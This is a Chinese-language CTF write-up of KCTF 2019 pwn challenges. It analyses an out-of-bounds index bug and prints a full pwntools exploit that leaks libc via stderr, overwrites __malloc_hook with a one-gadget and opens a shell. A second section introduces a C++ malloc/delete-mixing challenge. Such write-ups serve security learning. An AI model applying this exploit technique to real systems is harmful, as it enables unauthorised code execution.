KCTF2019_Q1_PWN

看雪CTF2019的第一场,比赛的那一周很忙,赛后补补题目,先看pwn

拯救单身狗

这个名字emmmmm,单身狗说不出话
首先还是先拖进ida分析,64位。漏洞很明显,第一个是在两个edit函数中,并没有对输入的下标做限制,而且会打印出来,这样可以做到一个数组的越界写,而且read没有’\x00’截断,可以做一个leak

1
2
3
4
5
6
7
v1 = read_int();
if ( two[v1] )
{
puts("Oh,singledog,changing your name can bring you good luck.");
read(0, (void *)two[v1], 0x20uLL);
printf("new name: %s", two[v1]);
}

保护全开,这个题比较烦人的是没有给libc,所以远程的打的话还要猜一下libc。其实是2.27
通过这个数组越界访问,观察一下,可以访问到stderr这里,然后因为没有’\x00’截断,可以泄露出stderr结构体的成员,从而泄露libc的基地址。对于IO的东西其实我不是很熟悉,感觉考IO的题越来越多了,有空还是要好好研究一下。
然后因为lucky_dog结构体的的第一个成员是一个指针,我们还是可以通过editSingDog这个函数的越界写漏洞,把one[0]->ptr改成malloc_hook,在通过editLuckdog吧malloc_hook改成oneGadget,最后直接getshell。

泄露stderr->泄露libc->修改one[0].ptr为malloc_hook->修改malloc_hook为oneGadget->getshell
这样应该是这个题目最优雅的办法了,我看了一些其他师傅的writeup,还有其他的利用方式,这里就不论述了,最关键的漏洞都是一样的。
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level='debug'
sh=process('./apwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def createSingDog(context):
sh.recvuntil('>>\n')
sh.sendline('1')
sh.recvuntil('Name:')
sh.sendline(context)
def createLuckyDog(context):
sh.recvuntil('>>\n')
sh.sendline('2')
sh.recvuntil('Name\n')
sh.sendline('tangent')
sh.recvuntil('your partner\'s name')
sh.sendline(context)
def editSingDog(idx,context):
sh.recvuntil('>>\n')
sh.sendline('3')
sh.recvuntil('which?\n')
sh.sendline(str(idx))
sh.recvuntil('luck.\n')
sh.sendline(context)
def editLuckyDog(idx,context):
sh.recvuntil('>>\n')
sh.sendline('4')
sh.recvuntil('which?\n')
sh.sendline(str(idx))
sh.recvuntil('name?\n')
sh.sendline('tangent')
sh.recvuntil('name\n')
sh.sendline(context)
editSingDog(-4,'aaaabbbb')
sh.recvuntil('aaaabbbb')
addr=u64(sh.recv(6).ljust(8,'\0'))-138
base=addr-libc.symbols['_IO_2_1_stderr_']
log.info('libc:%x'%(base))
oneGadget=base+0x10a38c
malloc_hook=base+libc.symbols['__malloc_hook']
createLuckyDog("tangent")
editSingDog(80,p64(malloc_hook))
editLuckyDog(0,p64(oneGadget))
createSingDog("tangent")
sh.interactive()

C与C++

这个题目出的挺好,在pwn里面出c++相关的东西还是比较少的,很有意思,值得研究。c++的垃圾代码很多,分析难度的话也要比c大上不少的。顺便吐槽一下ida对4k屏的支持太差了,啊!我要瞎了!
这个题目没有开PIE,只开了部分RELRO,其实这里就应该注意了。
运行程序看一下,菜单题

1
2
3
4
5
6
1. malloc
2. free
3. new
4. delete
5. puts
6. exit

通过ida可以发现,这个题目malloc,free,new,delete存在混用。c++中delete的方式和free不要一样,这样我们用c语言的malloc来分配堆块,然后用c++的delete来释放,就会有神奇的效果发生。